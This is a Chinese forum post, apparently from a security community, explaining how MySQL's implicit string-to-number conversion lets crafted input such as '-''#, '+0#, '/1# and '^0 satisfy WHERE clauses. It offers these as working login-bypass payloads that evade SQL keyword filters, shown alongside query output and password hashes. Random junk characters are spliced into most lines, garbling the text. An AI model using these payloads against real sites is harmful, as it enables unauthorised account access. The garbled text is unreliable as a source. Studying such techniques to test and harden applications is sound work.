找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2198|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。! D! V( L, Q6 m
有以下表结构: 0 d/ J. k- w8 z

; \! x* S2 k/ R& L5 k+ z4 m% rmysql> desc admin;9 X$ O/ O& U4 Z3 J# p/ x& p
+----------+--------------+------+-----+---------+----------------+. i1 Y2 K  m, D3 X- }9 o
| Field    | Type         | Null | Key | Default | Extra          |6 [+ Q. ?' s) ^. ~+ D7 f7 n" ]. ~; I
+----------+--------------+------+-----+---------+----------------+4 D. o! x5 W9 D) n+ o
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |' g+ n# P& m& Y# H4 a: X8 @
| name     | char(32)     | NO   | UNI | NULL    |                |  a: P  W# ~6 T; x: b
| password | char(32)     | NO   | UNI | NULL    |                |
; p' U5 I9 l6 A) u& ]* }5 z+----------+--------------+------+-----+---------+----------------+
) ?9 w/ o/ Y8 U6 Z3 rows in set (0.00 sec)9 `, B/ R, Y) ~2 m
执行select * from admin;,成功返回所有记录内容。
  s( `0 r3 O8 j5 ^) G! m* c1 q& y) Q( h3 c  I) J

, p, }5 _8 \- b: s! ]9 u$ i+----+--------+----------------------------------+7 S4 i& @6 V3 ?; P8 z% b
| id | name   | password                         |; G8 ^: t$ N( C( ?
+----+--------+----------------------------------+
6 G! r+ \/ T. K6 o/ x|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
" C8 f2 K+ U+ v6 q" r% ~; ]|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |3 C9 ]# E" d$ h
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
" ?/ E- z5 T, R. Z1 A+----+--------+----------------------------------+
" r3 {7 U) ]/ |3 rows in set (0.00 sec)# f# D( S4 ?1 K
执行select * from admin where name=”;,没有匹配到任何记录。
& B" j' t! Z( h% R/ c
6 B' C! z6 M+ J" emysql> select * from admin where name = '';
. |5 {( G3 X. C" ~0 I. Z5 E6 u# vEmpty set (0.00 sec)
% O# ]; V/ K4 _1 r+ N3 v那么我们来执行select * from admin where name = ”-”;
! i- m3 _# T- v: D; x
8 l& _# j& V: d; O" a; V, a1 {: v7 n4 o) P$ ]
+----+--------+----------------------------------+0 k6 l6 |$ I! |
| id | name   | password                         |8 K/ a+ Q- v; K( R  ~
+----+--------+----------------------------------+2 L/ O. e$ o) w# {: j/ y8 _; U9 |
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |/ T* Y! H* _8 v" l% n2 J5 d) Y7 [7 Z
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# t6 R0 |2 ~5 B1 j9 Z; b  t
|  4 | n00b   | ff80e8508d39047460921792273533a4 |  A+ l; C- p) O6 Z- m
+----+--------+----------------------------------+0 M' w8 c, V  ^* O/ x% K
3 rows in set, 3 warnings (0.00 sec)
; B1 y+ L! L0 e+ Y可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: % L  o4 i* j& c1 `2 H, `
( G) A7 R1 }2 G3 G. f
mysql> show warnings;
& C7 p4 y8 E+ x9 ?+---------+------+------------------------------------------
6 M$ D2 |6 G5 z2 F$ K" [% `| Level   | Code | Message* `* S' O2 [8 p9 v4 p8 M. ^# _2 S
+---------+------+------------------------------------------
& H* Z$ Z# _' \2 ^  j  [| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin0 ^$ X/ W/ V2 |7 {+ R, W; g/ n/ l
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
, e5 g$ {8 Y# |1 Z7 H| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b: d. _1 p8 B9 h8 |8 ~/ r) M
+---------+------+------------------------------------------
$ E5 x  ^' T( i- C8 H6 z  o3 rows in set (0.00 sec)
, ]& V. D" h/ w3 z& _提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
8 j( j7 O: G/ V; C" ]
8 m+ g! g- ~6 T& y5 j" amysql> select ''-'';
7 Q) a$ A5 I3 r- k0 t2 U+-------+
8 V1 h/ x8 c  ]0 w$ @| ''-'' |
( m0 J, S8 `0 @$ p! e+-------+
3 X: F1 y/ E, W6 N) O! t" |! \|     0 |' }. N7 Z& I1 T. M- H, m
+-------+% c: Q9 F2 a  k
1 row in set (0.00 sec)
9 R7 {) U. k" m: z返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 3 \3 i$ G( N) m# `! e/ N0 D

' J6 m( E+ e, l% `' Smysql> select CAST((select name from admin limit 1,1) as DECIMAL);( ?7 H* M/ l" p# _
+-----------------------------------------------------+
: ]. {8 B! Y0 n( D0 D| CAST((select name from admin limit 1,1) as DECIMAL) |9 {" l( i# q5 |. u) U$ ?2 s
+-----------------------------------------------------+7 ]; r0 f: ^2 m- C% a8 r) H; w5 o0 W( x
|                                                   0 |
, I' [% e' ?1 @( N" S- u  _+-----------------------------------------------------+
# o& N! n  H( P: F; u" F. K1 row in set, 1 warning (0.00 sec)
' l1 u: s3 z& A  t4 i因此where语句构成了相等的条件,where 0=”=”,记录被返回。
9 V/ p0 H& Y4 K) ?" E0 G/ R' i9 j# L" k: v
SQL注入场景: http://www.sqlzoo.net/hack/ # B! G3 E1 o+ N5 R1 r% {
" M) ^7 `% T8 m

+ U3 j! ^3 i# ]5 m! _9 l# K, p! i: X) H
; Z/ F% E3 j' V5 F' _
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
, d) I0 y4 V$ e
2 g! |. l: n5 N% [1 M0 }! d9 L那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
$ X/ I% s" \' o5 V! \% ]+ ^) X9 j2 [5 [
% Z  J! S) t3 S/ i, R: F4 a$ M# A

/ c% G% M1 u8 C$ |8 u; V
) C+ Y: j( @  W5 W( K# D) d仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 0 r; i9 c3 P( N1 P$ n

4 G( D6 |6 H0 x4 v7 N3 Y   
0 ~' I6 Y/ z& V3 v$ D. ^; D/ M& G+ A& J9 b8 ?' Q  V, h# o6 s7 L
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可! V% v1 {/ N  G
1 q) f: J4 ^& C6 @0 w
1 N  M" D2 ]  C  f8 U
mysql> select ''/1;- S4 a% f# K2 }' a+ i, Q6 c% q
+------+
( [: i9 c$ s) N' S# I| ''/1 |3 N' P" M" e$ M
+------+" k% G2 m/ J3 f0 b! P! d7 d! a9 H
|    0 |
  y# P2 F4 H8 j, C. ]+------+
3 y. {& w/ }2 w4 c* s# N% X; u& F1 row in set (0.00 sec)4 ], Y- e  j2 i/ A4 d
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
' K( P; n( T* ~4 U7 ?! i- M
, ]2 \3 H: B5 V; f. A利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。% |: f3 a" B9 `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表